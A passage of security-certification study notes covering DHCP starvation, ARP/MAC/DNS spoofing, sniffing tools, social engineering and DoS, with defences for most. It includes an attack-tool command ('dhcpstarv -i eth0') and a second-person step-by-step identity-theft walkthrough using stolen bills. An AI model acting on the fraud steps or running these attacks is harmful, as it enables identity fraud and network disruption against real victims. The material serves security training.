DHCPRequest	Request, Confirm, Renew, Rebind	Client message to servers either (a) Requesting offered parameters, (b) Confirming correctness of previously allocated address, or (c) Extending the lease period
DHCPAck	Relay	Server to client with configuration parameters, including committed network address
DHCPRelease	Release	Client to server relinquishing network address and canceling remaining lease
DHCPDecline	Decline	Client to server indicating network address is already in use
N/A	Reconfigure	Server tells the client that it has new or updated configuration settings. The client then sends either a renew/reply or Information-request/Reply transaction to get the updated information
DHCPInform	Information Request	Client to server, asking only for local configuration parameters; client already has externally configured network address
N/A	Relay-Forward	A relay agent sends a relay-forward message to relay messages to servers, either directly or through another relay agent
N/A	Relay-Reply	A server sends a relay-reply message to a relay agent containing a message that the relay agent delivers to a client
DHCPNAK	N/A	Server to client indicating client's notion of network address is incorrect (e.g., Client has moved to new subnet) or client's lease as expired

DHCP Starvation Attack

- This is a denial-of-service (DoS) attack on the DHCP servers where the attacker broadcasts forged DHCP requests and tries to lease all of the DHCP addresses available in the DHCP scope.
- As a result legitimate users are unable to obtain or renew an IP address requested via DHCP, failing access to the network access.

Tool to use: Gobbler

DHCP Starvation Attack Tools

- **Dhcpstarv**:
  - dhcpstarv implements DHCP starvation attack. It requests DHCP leases on specified interfaces, saves them, and renews on a regular basis. `dhcpstarv -i eth0`
- **Yersinia**:
  - Yersinia is a network tool designed to take advantage of some weakness in different network protocols.
  - It pretends to be a solid framework for analyzing and testing the deployed networks and systems.

Rogue DHCP Server Attack

- Attacker sets rogue DHCP server in the network and responds to DHCP requests with bogus IP addresses; this results in compromised network access.
- This attack works in conjunction with the DHCP Starvation attack; attacker sends TCP/IP setting to the user after knocking him/her out from the genuine DHCP server.

How to Defend Against DHCP Starvation and Rogue Server Attack

- Enable port security to defend against DHCP starvation attack.

    - Configuring the MAC limit on switch's edge ports drops the packets from further MACs once the limit is reached.
- Enable DHCP snooping that allows switches to accept DHCP transactions coming only from a trusted port.

ARP Attacks

What Is Address Resolution Protocol (ARP)?

- Address Resolution Protocol (ARP) is a stateless protocol used for resolving IP addresses to machine (MAC) addresses.
- All network devices (that need to communicate on the network) broadcast ARP queries in the network to find out other machines' MAC addresses.
- When one machine needs to communicate with another, it looks up its ARP table. If the MAC address is not found in the table, the ARP_REQUEST is broadcasted over the network.
- All machines on the network will compare this IP address to their MAC address.
- If one of the machines in the network identifies with this address, it will respond to ARP_REQUEST with its IP and MAC address. The requesting machine will store the address pair in the ARP table and communication will take place.

ARP Spoofing Attack

- ARP packets can be forged to send data to the attacker's machine.
- ARP Spoofing involves constructing a large number of forged ARP request and reply packets to overload a switch.
- Switch is set in "forwarding mode" after the ARP table is flooded with spoofed ARP replies and attackers can sniff all the network packets.
- Attackers flood a target computer's ARP cache with forged entries, which is also known as poisoning.

Threats of ARP Poisoning

- Using fake ARP messages, an attacker can divert all communications between two machines so that all traffic is exchanged via his/her PC.

- **The threats of ARP poisoning include**:
    - Packet Sniffing
    - Session Hijacking
    - VoIP Call Tapping
    - Manipulating Data
    - Man-in-the-Middle Attack
    - Data Interception
    - Connection Hijacking
    - Connection Resetting
    - Stealing Passwords
    - Denial-of-Service (DoS) Attack

ARP Poisoning Tools: Cain & Abel and WinArpAttacker

- **Cain & Abel**: Cain & Abel allows sniffing packets of various protocols on switched LANs by hijacking IP traffic of multiple hosts concurrently.
- **WinArpAttacker**: WinArpAttackdr sends IP conflict packets to target computers as fast as possible and diverts all communications.

ARP Poisoning Tool: Ufasoft Snif

- Ufasoft Snif is an automated ARP poisoning tool that sniffs passwords and email messages on the network and works on Wi-Fi networks as well.

How to Defend Against ARP Poisoning

- Implement Dynamic ARP Inspection Using DHCP Snooping Binding Table.

ARP Spoofing Detection: XArp

- XArp helps users to detect ARP attacks and keep their data private.
- It allows administrators to monitor whole subnets for ARP attacks.

- Different security levels and fine tuning possibilities allow normal and power users to efficiently use XArp to detect ARP attacks.

MAC Spoofing Attacks

MAC Spoofing/Duplicating

- MAC duplicating attack is launched by sniffing a network for MAC addresses of clients who are actively associated with a switch port and re-using one of those addresses.
- By listening to the traffic on the network, a malicious user can intercept and use a legitimate user's MAC address to receive all the traffic destined for the user.
- This attack allows an attacker to gain access to the network and take over someone's identity already on the network.

MAC Spoofing Technique: Windows

- **In Windows 8 OS**:
    - **Method 1**: If the network interface card supports clone MAC address then follow the steps.
    - **Method 2**: Steps to change MAC address in Registry.

MAC Spoofing Tool: SMAC

- SMAC is a MAC Address Changer (Spoofer) that allows users to change MAC addresses for any network interface cards (NIC) on the Windows systems.

IRDP Spoofing

- ICMP Router Discovery Protocol (IRDP) is a routing protocol that allows hosts to discover the IP addresses of active routers on their subnet by listening to router advertisement and solicitation messages on their network.

- Attacker sends spoofed IRDP router advertisement message to the host on the subnet, causing it to change its default router to whatever the attacker chooses.
- This attack allows attackers to sniff the traffic and collect the valuable information from the packets.
- Attackers can use IRDP spoofing to launch man-in-the-middle, denial-of-service, and passive sniffing attacks.

How to Defend Against MAC Spoofing

- Use DHCP Snooping Binding Table, Dynamic ARP Inspection, and IP Source Guard.
    - Encryption
    - Retrieval of MAC Address

DNS Poisoning Attacks

DNS Poisoning Techniques

- DNS poisoning is a technique that tricks a DNS server into believing that it has received authentic information when, in reality, it has not.
- It results in substitution of a false IP address at the DNS level where web addresses are converted into numeric IP addresses.
- It allows an attacker to replace IP address entries for a target site on a given DNS server with the IP address of the server he/she controls.
- Attackers can create fake DNS entries for the server (containing malicious content) with the same names as that of the target server.

Intranet DNS Spoofing (Local Network)

- For this technique, you must be connected to the local area network (LAN) and be able to sniff packets.
- It works well against switches with ARP poisoning the router.

Internet DNS Spoofing (Remote Network)

- Internet DNS Spoofing, the attacker infects Rebecca's machine with a Trojan and changes her DNS IP address to that of the attacker's.

Proxy Server DNS Poisoning

- Attacker sends a Trojan to Rebecca's machine that changes her proxy server settings in Internet Explorer to that of the attacker's and redirects to a fake website.

DNS Cache Poisoning

- DNS cache poisoning refers to altering or adding forged DNS records into the DNS resolver cache so that a DNS query is redirected to a malicious site.
- If the DNS resolver cannot validate that the DNS responses have come from an authoritative source, it will cache the incorrect entries locally and serve them to users who make the same request.

How to Defend Against DNS Spoofing

- Resolve all DNS queries to the local DNS server.
- Block DNS requests from going to external servers.
- Configure firewall to restrict external DNS lookup.
- Implement IDS and deploy it correctly.
- Implement DNSSEC.
- Configure DNS resolver to use a new random source port for each outgoing query.
- Restrict DNS recurring service, either full or partial, to authorized users.
- Use DNS Non-Existent Domain (NXDOMAIN) Rate Limiting.
- Secure your internal machines.

Tools for Sniffing

Sniffing Tool: Wireshark

- It lets you capture and interactively browse the traffic running on a computer network.
- Wireshark uses Winpcap to capture packets, so it can only capture the packets on the networks supported by Winpcap.
- It captures live network traffic from Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, FDDI networks.
- Captured files can be programmatically edited via command-line.
- A set of filters for customized data display can be refined using a display filter.

Follow TCP Stream in Wireshark

- The tool sees TCP data in the same way as that of the application layer. Use this tool to find passwords in a Telnet session or make sense of a data stream.

Display Filters in Wireshark

- Display filters are used to change the view of packets in the captured files.
- **Display Filtering by Protocol**:
  - Example: Type the protocol in the filter box; arp, http, tcp, udp, dns, ip
- **Monitoring the Specific Ports**:
  - `tcp.port==23`
  - `ip.addr==192.168.1.100 machine ip.addr==192.168.1.100 && tcp.port=23`
- **Filtering by Multiple IP Addresses**:
  - `ip.addr==10.0.0.4 or ip.addr==10.0.0.5`
- **Filtering by IP Address**:
  - `ip.addr==10.0.0.4`
- **Other Filters**:
  - `ip.dst==10.0.1.50 && frame.pkt_len>400`
  - `ip.addr==10.0.1.12 && icmp && frame.number > 15 && frame.number < 30`
  - `ip.src==205.153.63.30 or ip.dst==205.153.63.30`

Additional Wireshark Filters

- **Displays all TCP resets**:
  - `tcp.flags.reset==1`
- **Set a filter for the HEX values of 0x33 0x27 0x58 at any offset**:

    - udp contains 33:27:58
- **Displays all HTTP GET requests**:
    - http.request
- **Displays all retransmissions in the trace**:
    - tcp.analysis.retransmission
- **Displays all TCP packets that contain the word 'traffic'**:
    - tcp contains traffic
- **Masks out arp, icmp, dns, or other protocols and allows you to view traffic of you interest**:
    - !(arp or icmp or dns)

Sniffing Tool: StellCentral Packet Analyzer

- StellCentral Packet Analyzer provides a graphical console for high-speed packet analysis.

Sniffing Tool: Tcpdump/Windump

- TCPdump is a command line interface packet sniffer which runs on Linux and Windows.
- **TCPDump**: Runs on Linux and UNIX systems
- **WinDump**: Runs on Windows systems

Packet Sniffing Tool: Capsa Network Analyzer

- Capsa Network Analyzer captures all data transmitted over the network and provides a wide range of analysis statistics in an intuitive and graphic way.

Network Packet Analyzer: OmniPeek Network Analyzer

- OmniPeek sniffer displays a Google Map in the OmniPeek capture window showing the locations of all the public IP addresses of captured packets.
- This feature is a great way to monitor the network in real time, and show from where in the world that traffic is coming.

Network Packet Analyzer: Observer

- Observer provides a comprehensive drill-down into network traffic and provides back-in-time analysis, reporting, trending, alarms, application tools, and route monitoring capabilities.

Network Packet Analyzer: Sniff-O-Matic

- Sniff-O-Matic is a network protocol analyzer and packet sniffer that captures network traffic and enables you to analyze the data.

TCP/IP Packet Crafter: Colasoft Packet Builder

- Colasoft Packet Builder allows user to select one from the provided templates: Ethernet Packet, ARP Packet, IP Packet, TCP Packet and UDP Packet, and change the parameters in the decoder editor, hexadecimal editor, or ASCII editor to create a packet.

Network Packet Analyzer: RSA NetWitness Investigator

- RSA NetWitness Investigator captures live traffic and processes packet files from virtually any existing network collection devices.

Additional Sniffing Tools

Packet Sniffing Tools for Mobile: Wi.cap. Network Sniffer Pro and FaceNiff

- **Wi.cap. Network Sniffer Pro**: Mobile network packet sniffer for ROOT ARM droids.
- **FaceNiff**: FaceNiff is an Android app that allows you to sniff and intercept web session profiles over the Wi-Fi.

Detecting Sniffing

How to Detect Sniffing

- **Promiscuous Mode**:
  - You will need to check which machines are running in the promiscuous mode.
  - Promiscuous mode allows a network device to intercept and read each network packet that arrives in its entirety.
- **IDS**:
  - Run IDS and notice if the MAC address of certain machines has changed (Example: router's MAC address)
  - IDS can alert the administrator about suspicious activities.
- **Network Tools**:
  - Run network tools such as Capsa Network Analyzer to monitor the network for strange packets.
  - It enables you to collect, consolidate, centralize and analyze traffic data across different network resources and technologies.
- `nmap -sV --script=sniffer-detect <target>`
- HP Performance Insight

Sniffer Detection Technique: Ping Method

- Send a ping request to the suspect machine with its IP address and incorrect MAC address. The Ethernet adapter rejects it, as the MAC address does not match, whereas the suspect machine running the sniffer responds to it as it does not reject packets with a different MAC address.

Sniffer Detection Technique: ARP Method

- Only a machine in promiscuous mode (machine C) caches the ARP information (IP and MAC address mapping).
- A machine in promiscuous mode replies to the ping message as it has correct information about the host sending a ping request in its cache; the rest of the machines will send an ARP probe to identify the source of the ping request.

When the NIC is set to promiscuous mode, packets that are supposed to be filtered by the NIC are now passed to the system kernel. By using this mechanism, we come up with a new way to detect promiscuous nodes: if we configure an ARP packet such that it does not have broadcast address as the destination address, send it to every node on the network and discover that some nodes respond to it, then those nodes are in promiscuous mode.

Sniffer Detection Technique: DNS Method

- Most of the sniffers perform reverse DNS lookup to identify the machine from the IP address.
- A machine generating reverse DNS lookup traffic will be most likely running a sniffer.

Promiscuous Detection Tool: PromqryUI

- PromqryUI is a security tool from Microsoft that can be used to detect network interfaces that are running in promiscuous mode.

Promiscuous Detection Tool: Nmap

- Nmap's NSE script allows you to check if a target on a local Ethernet has its network card in promiscuous mode.
- Command to detect NIC in promiscuous mode:
    - `nmap --script=sniffer-detect [Target IP Address/Range of IP addresses]`

Sniffing Countermeasures

How to Defend Against Sniffing

- Restrict the physical access to the network media to ensure that a packet sniffer cannot be installed.
- Use encryption to protect confidential information.

- Permanently add the MAC address of the gateway to the ARP cache.
- Use static IP addresses and static ARP tables to prevent attackers from adding the spoofed ARP entries for machines in the network.
- Turn off network identification broadcasts and if possible restrict the network to authorized users in order to protect the network from being discovered with sniffing tools.
- Use IPv6 instead of IPv4 protocol.
- Use encrypted sessions such as SSH instead of Telnet, Secure Copy (SCP) instead of FTP, SSL for email connection, etc. to protect wireless network users against sniffing attacks.
- Use HTTPS instead of HTTP to protect usernames and passwords.
- Use switch instead of hub as switch delivers data only to the intended recipient.
- Use SFTP, instead of FTP for secure transfer of files.
- Use PGP and S/MIPE, VPN, IPSec, SSL/TLS, Secure Shell (SSH) and One-time passwords (OTP).
- Always encrypt the wireless traffic with a strong encryption protocol such as WPA and WPA2.
- Retrieve MAC directly from NIC instead of OS; this prevents MAC address spoofing.
- Use tools to determine if any NICs are running in the promiscuous mode.

Introduction to Social Engineering

What is Social Engineering?

- Social engineering is the art of convincing people to reveal confidential information. Common targets of social engineering include help desk personnel, technical support executives, system administrators, etc.
- Social engineers depend on the fact that people are unaware of their valuable information and are careless about protecting it.

Behaviors Vulnerable to Attacks

- Human nature of trust is the basis of any social engineering attack.
- Ignorance about social engineering and its effects among the workforce makes the organization an easy target.

- Fear of severe losses in case of non-compliance to the social engineer's request.
- Social engineers lure the targets to divulge information by promising something for nothing (greediness).
- Targets are asked for help and they comply out of a sense of moral obligation.

Factors that Make Companies Vulnerable to Attacks

- Insufficient Security Training.
- Unregulated Access to the Information.
- Several Organizational Units.
- Lack of Security Policies.

Why is Social Engineering Effective?

- Security policies are as strong as their weakest link, and humans are most susceptible factor.
- It is difficult to detect social engineering attempts.
- There is no method to ensure complete security from social engineering attacks.
- There is no specific software or hardware for defending against a social engineering attack.

Phases in a Social Engineering Attack

- **Research on Target Company**: Dumpster diving, websites, employees, tour company, etc.
- **Select Victim**: Identify the frustrated employees of the target company.
- **Develop Relationship**: Develop relationships with the selected employees.
- **Exploit the Relationship**: Collect sensitive account and financial information, and current technologies.

Types of Social Engineering

- **Human-based Social Engineering**: Gathers sensitive information by interaction.
- **Computer-based Social Engineering**: Social engineering is carried out with the help of computers.
- **Mobile-based Social Engineering**: It is carried out with the help of mobile applications.

Human-based Social Engineering: Impersonation

- It is the most common human-based social engineering technique where an attacker pretends to be someone legitimate or authorized.
- Attackers may impersonate a legitimate or authorized person either personally or using a communication medium such as phone, email, etc.
- Impersonation helps attackers in tricking a target to reveal sensitive information.
- **Posing as a legitimate end user**: Give identity and ask for the sensitive information.
- **Posing as an important user**: Posing as a VIP of a target company, valuable customer, etc.
- **Posing as technical support**: Call as technical support staff and request IDs and passwords to retrieve data.

Impersonation Scenario: Over-Helpfulness of Help Desk

- Help desks are mostly vulnerable to social engineering as they are in place explicitly to help.
- Attacker calls a company's help desk, pretends to be someone in a position of authority or relevance and tries to extract sensitive information out of the help desk.

Impersonation Scenario: Third-party Authorization

- Attacker obtains the name of the authorized employee of the target organization who has access to the information he/she wants.
- Attackers then call the target organization where information is stored and claim that particular employee has requested that information be provided.

Impersonation Scenario: Tech Support

- Attacker pretends to be technical support staff of the target organization's software vendors or contractors.
- He/she may then claim a user ID and password for troubleshooting problems in the organization.

Impersonation Scenario: Internal Employee/Client/Vendor

- Attackers dressed in business attire or appropriate uniform enter into the target building claiming to be a contractor, client, or service personnel.
- He/she may then look for passwords stuck on terminals, search information or documents on desks or eavesdrop confidential conversations.

Impersonation Scenario: Repairman

- Attackers may pretend to be telephone repairmen or computer technicians and enter into a target organization.
- He/she may then plant a snooping device or gain hidden passwords during activities associated with their duties.

Impersonation Scenario: Trusted Authority Figure

Human-based Social Engineering: Eavesdropping and Shoulder Surfing

- **Eavesdropping**:
    - Eavesdropping or unauthorized listening of conversations or reading of messages.
    - Interception of audio, video, or written communication.
    - It can be done using communication channels such as telephone lines, email, instant messaging, etc.
- **Shoulder Surfing**:
    - Shoulder surfing uses direct observation techniques such as looking over someone's shoulder to get information such as passwords, PINs, account numbers, etc.
    - Shoulder surfing can also be done from a longer distance with the aid of vision enhancing devices such as binoculars to obtain sensitive information.

Human-based Social Engineering: Dumpster Diving

- **Dumpster Diving**: Dumpster diving is looking for treasure in someone else's trash.

Human-based Social Engineering: Reverse Social Engineering, Piggybacking, and Tailgating

- **Reverse Social Engineering**:
  - A situation in which an attacker presents himself as an authority and the target seeks his advice offering the information that he needs.
  - Reverse social engineering attack involves sabotage, marketing, and tech support.
- **Piggybacking**:
  - "I forgot my ID badge at home. Please help me."
  - An authorized person allows (intentionally or unintentionally) an unauthorized person to pass through a secure door.
- **Tailgating**:
  - An unauthorized person, wearing a fake ID badge, enters a secured area by closely following an authorized person through a door requiring key access.

Computer-based Social Engineering

- **Pop-up Windows**: Windows that suddenly pop up while surfing the Internet and ask for users' information to login or sign-in.
- **Hoax Letters**: Hoax letters are emails that issue warnings to the user on new viruses, Trojans, or worms that may harm the user's system.
- **Chain Letters**: Chain letters are emails that offer free gifts such as money and software on the condition that the user has to forward the mail to the said number of persons.
- **Instant Chat Messenger**: Gathering personal information by chatting with a selected online user to get information such as birth dates and maiden names.
- **Spam Email**: Irrelevant, unwanted, and unsolicited email to collect the financial information, social security numbers, and network information.

Computer-based Social Engineering: Phishing

- An illegitimate email falsely claiming to be from a legitimate site attempts to acquire the user's personal or account information.
- Phishing emails or pop-ups redirect users to fake webpages of mimicking trustworthy sites that ask them to submit their personal information.

Computer-based Social Engineering: Spear Phishing

- Spear phishing is a direct, targeted phishing attack aimed at specific individuals within an organization.
- In contrast to normal phishing attacks where attackers send out hundreds of generic messages to random email addresses, attackers use spear phishing to send a message with specialized, social engineering content directed at a specific person or a small group of people.
- Spear phishing generates a higher response rate when compared to normal phishing attacks.

Mobile-based Social Engineering: Publishing Malicious Apps

- Attackers create malicious apps with attractive features and similar names to that of popular apps, and publish them on major app stores.
- Unaware users download these apps and get infected by malware that sends credentials to attackers.

Mobile-based Social Engineering: Repackaging Legitimate Apps

Mobile-based Social Engineering: Fake Security Applications

1. Attacker infects the victim's PC.
2. The victim logs onto his/her bank account.
3. Malware in PC pop-ups a message telling the victim to download an application onto his/her phone in order to receive security messages.
4. Victim downloads the malicious application on his/her phone.
5. Attackers can now access the second authentication factor sent to the victim from the bank via SMS.

Mobile-based Social Engineering: Using SMS

1. Tracy received an SMS text message, ostensibly from the security department at XIM Bank.
2. It claimed to be urgent and that Tracy should call the phone number in the SMS immediately. Worried, she called to check on her account.
3. She called thinking it was a XIM Bank customer service number, and it was a recording asking to provide her credit card or debit card number.
4. Predictably, Tracy revealed the sensitive information due to the fraudulent texts.

Insider Attack

- **Spying**:
    - If a competitor wants to cause damage to your organization, steal critical secrets, or put you out of business, they just have to find a job opening, prepare someone to pass the interview, have that person hired, and they will be in the organization.
- **Revenge**:
    - It takes only one disgruntled person to take revenge and your company is compromised.
- **Insider Attack**:
    - An inside attack is easy to launch.
    - Prevention is difficult.
    - The inside attacker can easily succeed.

Disgruntled Employee

- An employee may become disgruntled towards the company when he/she is disrespected, frustrated with their job, having conflicts with the management, not satisfied with employment benefits, issued an employment termination notice, transferred, demoted, etc.
- Disgruntled employees may pass company secrets and intellectual property to competitors for monetary benefits.

Preventing Insider Threats

- Separation and rotation of duties
- Least privilege
- Controlled access
- Logging and auditing
- Legal policies
- Archive critical data

Common Social Engineering Targets and Defense Strategies

Social Engineering Targets	Attack Techniques	Defense Strategies
Front office and help desk	Eavesdropping, shoulder surfing, impersonation, persuasion, and intimidation	Train employees/help desk to never reveal passwords or other information by phone
Perimeter security	Impersonation, fake IDs, piggy backing, etc.	Implement strict badge, token or biometric authentication, employee training, and security guards
Office	Shoulder surfing, eavesdropping, Ingratiation, etc.	Employee training, best practices and checklists for using passwords Escort all guests
Phone (help desk)	Impersonation, Intimidation, and persuasion on help desk calls	Employee training, enforce policies for the help desk
Mail room	Theft, damage or forging of mails	Lock and monitor mail room, employee training
Machine room/Phone closet	Attempting to gain access, remove equipment, and/or attach a protocol analyzer to grab the confidential data	Keep phone closets, server rooms, etc. locked at all times and keep updated inventory on equipment

Social Networking Sites

Social Engineering Through Impersonation on Social Networking Sites

- Malicious users gather confidential information from social networking sites and create accounts in others' names.
- Attackers use others' profiles to create large networks of friends and extract information using social engineering information using social engineering techniques.
- Attackers try to join the target organization's employee groups where they share personal and company information.
- Attackers can also use collected information to carry out other forms of social engineering attacks.

Social Engineering on Facebook

- Attackers create a fake user group on Facebook identified as "Employees of" the target company.
- Using a false identity, attacker then proceeds to "friend," or invite, employees to the fake group "Employees of the company"
- Users join the group and provide their credentials such as date of birth, educational and employment backgrounds, spouses names, etc.
- Using the details of any one of the employees, an attacker can compromise a secured facility to gain access to the building.

Social Engineering on LinkedIn and Twitter

- Attackers scan details in profile pages. They use these details for spear phishing, impersonation, and identity theft.

Risks of Social Networking to Corporate Networks

- **Data Theft**: A social networking site is an information repository accessed by many users, enhancing the risk of information exploitation.

- **Involuntary Data Leakage**: In the absence of a strong policy, employees may unknowingly post sensitive data about their company on social networking sites.
- **Targeted Attacks**: Attackers use the information available on social networking sites to perform a targeted attack.
- **Network Vulnerability**: All social networking sites are subject to flaws and bugs that in turn could cause vulnerabilities in the organization's network.

Identity Theft

Identify Theft

- Identity theft occurs when someone steals your personally identifiable information for fraudulent purposes.
- It is a crime in which an imposter obtains personal identifying information such as name, credit card number, social security or driver license numbers, etc. to commit fraud or other crimes.
- Attackers can use identity theft to impersonate employees of a target organization and physically access the facility.

How to Steal an Identity

- **Step 1**:
    - Search for Steven's address on social networking sites (Facebook, Twitter, etc.) or on people search sites.
    - Get hold of Steven's telephone bill, water bill, or electricity bill using dumpster diving, stolen email, or onsite stealing.
- **Step 2**:
    - Go to the Department of Motor Vehicles and tell them you lost your driver license.
    - They will ask you for proof of identity such as a water bill and electricity bill.
    - Show them the stolen bills.
    - Tell them you have moved from the original address.
    - The department employee will ask to complete replacement of the driver license form and change in address form.
    - You will need a photo for the driver license.

    - Your replacement driver license will be issued to your new home address.
    - Now you are ready to have some serious fun.
- **Step 3**:
    - Go to a bank in which the original Steven Charles has an account and tell them you would like to apply for a new credit card.
    - Tell them you do not remember the account number and ask them to look it up using Steven's name and address.
    - The bank will ask for your ID: Show them your driver license as ID, and if the ID is accepted, your credit card will be issued and ready for.
    - Now you are ready for shopping.

Outcome: The real Steven Gets a Huge Credit Card Statement

Identity Theft is a Serious Problem

- Identity theft is a serious problem and the number of violations are increasing rapidly.
- Some of the ways to minimize the risk of identity theft include checking the credit card reports periodically, safeguarding personal information at home and in the workplace, verifying the legality of sources, etc.

Social Engineering Countermeasures

- Good policies and procedures are ineffective if they are not taught and reinforced by the employees.
- After receiving training, employees should sign a statement acknowledging that they understand the policies.
- **Password Policies**:
    - Periodic password change.
    - Avoiding guessable passwords.
    - Account blocking after failed attempts.
    - Length and complexity of passwords.
    - Secrecy of passwords.
- **Physical Security Policies**:
    - Identification of employees by issuing ID cards, uniforms, etc.
    - Escorting the visitors.
    - Access area restrictions.
    - Proper shredding of useless documents.

- **Training**: An efficient training program should consist of all security policies and methods to increase awareness on social engineering.
- **Operation Guidelines**: Make sure sensitive information is secured and resources are accessed only by authorized users.
- **Access privileges**: There should be administrator, user, and guest accounts with proper authorization.
- **Classification of Information**: Categorize the information as top secret, proprietary, for internal use only, for public use, etc.
- **Proper Incidence Response Time**: There should be proper guidelines for reacting in case of a social engineering attempt.
- **Background Check and Proper Termination Process**: Insiders with a criminal background and terminated employees are easy targets for procuring information.
- **Anti-Virus/Anti-Phishing Defenses**: Use multiple layers of anti-virus defenses at end-user and mail gateway levels to minimize social engineering attacks.
- **Two-Factor Authentication**: Instead of fixed passwords, use two-factor authentication for high-risk network services such as VPNs and modem pools.
- **Change Management**: A documented change-management process is more secure than the ad-hoc process.

How to Detect Phishing Emails

- Seems to be from a bank, company, or social networking site and has a generic greeting.
- Seems to be from a person listed in your email address book.
- Gives a sense of urgency or a veiled threat.
- May contain grammatical/spelling mistakes.
- Includes links to spoofed websites.
- May contain offers that seem to be too good to believe.
- Includes official-looking logos and other information taken from legitimate websites.
- May contain a malicious attachment.

Anti-Phishing Toolbar: Netcraft

- The Netcraft anti-phishing community is effectively a giant neighborhood watch scheme, empowering the most alert and most expert members to defend everyone within the community against phishing attacks.

Anti-Phishing Toolbar: PhishTank

- PhishTank is a collaborative clearing house for data and information about phishing on the Internet.
- It provides an open API for developers and researchers to integrate anti-phishing data into their applications.

Identity Theft Countermeasures

- Secure or shred all documents containing private information.
- Ensure your name is not present in the markets' hit lists.
- Review your credit card reports regularly and never let it go out of sight.
- Never give any personal information on the phone.
- To keep your mail secure, empty the mailbox quickly.
- Suspect and verify all the requests for personal data.
- Protect your personal information from being publicized.
- Do not display account/contact numbers unless mandatory.

Introduction to DoS and DDoS

What is a Denial-of-Service Attack?

- Denial of Service (DoS) is an attack on a computer or network that reduces, restricts or prevents accessibility of system resources to its legitimate users.
- In a DoS attack, attackers flood a victim system with non-legitimate service requests or traffic to overload its resources.
- DoS attack leads to unavailability of a particular website and show network performance.

What are Distributed Denial of Service Attacks?

- A distributed denial-of-service (DDoS) attack involves a multitude of compromised systems attacking a single target, thereby causing denial of service for users of the targeted system.
- To launch a DDoS attack, an attacker uses botnets and attacks a single system.

DoS/DDoS Attacks

Basic Categories of DoS/DDoS Attack Vectors

- **Volumetric Attacks**: Consumes the bandwidth of target network or service.
- **Fragmentation Attacks**: Overwhelms target's ability of re-assembling the fragmented packets.
- **TCP State-Exhaustion Attacks**: Consumes the connection state tables present in the network infrastructure components such as load-balancers, firewalls, and application servers.
- **Application Layer Attacks**: Consumes the application resources or service thereby making it unavailable to other legitimate users.

DoS/DDoS Attack Techniques

- Bandwidth Attacks and Service Request Floods
- SYN Flooding Attack
- ICMP Flood Attack
- Peer-to-Peer Attacks
- Application-Level Flood Attacks
- Permanent Denial-of-Service Attack
- Distributed Reflection Denial of Service (DrDoS)

Bandwidth Attacks

- A single machine cannot make enough requests to overwhelm network equipment; hence DDoS attacks were created where an attacker uses several computers to flood a victim.

- When a DDoS attack is launched, flooding a network, it can cause network equipment such as switches and routers to be overwhelmed due to the significant statistical change in the network traffic.
- Attackers use botnets and carry out DDoS attacks by flooding the network with ICMP ECHO packets.
- Basically, all bandwidth is used and no bandwidth remains for legitimate use.

Service Request Floods

- An attacker or group of zombies attempts to exhaust server resources by setting up and tearing down TCP connections.
- Service request flood attacks flood servers with a high rate of connections from a valid source.
- It initiates a request on every connection.

SYN Attack

- The attacker sends a large number of SYN requests to the target server (victim) with fake source IP addresses.
- The target machine sends back a SYN/ACK in response to the request and waits for the ACK to complete the session setup.
- The target machine does not get the response because the source address is fake.

three-way handshake

1. TCP SYN request
2. SYN/ACK
3. ACK response

SYN Flooding

1. SYN Flooding takes advantage of a flaw in how most hosts implement the TCP three-way handshake.
2. When Host B receives the SYN request from A, it must keep track of the partially-opened connection in a "listen queue" for at least 75 seconds.

3. A malicious host can exploit the small size of the listen queue by sending multiple SYN requests to a host, but never replying to the SYN/ACK.
4. The victim's listening queue is quickly filled up.
5. The ability of holding up each incomplete connection for 75 seconds can be cumulatively used as a Denial-of-Service attack.

ICMP Flood Attack

- ICMP flood attack is a type DoS attack in which perpetrators send a large number of ICMP packets directly or through reflection networks to victims causing it to be overwhelmed and subsequently stop responding to legitimate TCP/IP requests.
- To protect against ICMP flood attack, set a threshold limit that when exceeded invokes the ICMP flood attack protection feature.

Peer-to-Peer Attacks

- Using peer-to-peer attacks, attackers instruct clients of peer-to-peer file sharing hubs to disconnect from their peer-to-peer network and to connect to the victim's fake website.
- Attackers exploit flaws found in the network using DC++ (Direct Connect) protocol, that is used for sharing all types of files between instant messaging clients.
- Using this method, attackers launch massive denial-of-service attacks and compromise websites.
- DC++ (Direct Connect) protocol -the attacker acts as a "puppet master," instructing clients of large peer-to-peer file sharing hubs to disconnect from their peer-to-peer network and to connect to the victim's website instead.

Permanent Denial-of-Service (PDoS) Attack

- **Phlashing**:

    - Permanent DoS, also known as phlashing, refers to attacks that cause irreversible damage to system hardware.
- **Sabotage**:
    - Unlike other DoS attacks, it sabotages the system hardware, requiring the victim to replace or reinstall the hardware.
- **Bricking a system**:
    - This attack is carried out using a method known as "bricking a system"
    - Using this method, attackers send fraudulent hardware updates to the victims.

Application-Level Flood Attacks

- Application-level flood attacks result in the loss of services of a particular network, such as emails, network resources, the temporary ceasing of applications and services, and more.
- Using this attack, attackers exploit weaknesses in programming source code to prevent the application from processing legitimate requests.
- **Using application-level flood attacks, attackers attempts to:**
    - Flood web applications to legitimate user traffic.
    - Disrupt service to a specific system or person, for example, blocking a user's access by repeating invalid login attempts.
    - Jam the application-database connection by crafting malicious SQL queries.

Distributed Reflection Denial of Service (DRDoS)

- A distributed reflected denial of service attack (DRDoS), also known as spoofed attack, involves the use of multiple intermediate and secondary machines that contribute to the actual DDoS attack against the target machine or application.
- Attacker launches this attack by sending requests to the intermediary hosts, these requests are then redirected to the secondary machines which in turn reflects the attack traffic to the target.
- Advantage:

- The primary target seems to be directly attacked by the secondary victim, not the actual attacker.
- As multiple intermediary victim servers are used which results in an increase in attack bandwidth.

Botnet

- Bots are software applications that run automated tasks over the Internet and perform simple repetitive tasks, such as web spidering and search engine indexing.
- A botnet is a huge network of the compromised systems and can be used by an attacker to launch denial-of-service attacks.

Scanning Methods for Finding Vulnerable Machines

- **Random Scanning**: The infected machine probes IP addresses randomly from target network IP range and checks for the vulnerability.
- **Hit-list Scanning**: Attacker first collects a list of possible potentially vulnerable machines and then performs scanning to find vulnerable machines.

- **Topological Scanning**: It uses the information obtained on infected machines to find new vulnerable machines.

- **Local Subnet Scanning**: The infected machine looks for the new vulnerable machine in its own local network.

- **Permutation Scanning**: It uses a pseudorandom permutation list of IP addresses to find new vulnerable machines.
  Divide and conquer

How Malicious Code Propagates?

- Attackers use three techniques to propagate malicious code to newly discovered vulnerable system:
  - **Central Source Propagation**: Attacker places attack toolkit on the central source and copy of the attack toolkit is transferred to the newly discovered vulnerable system.

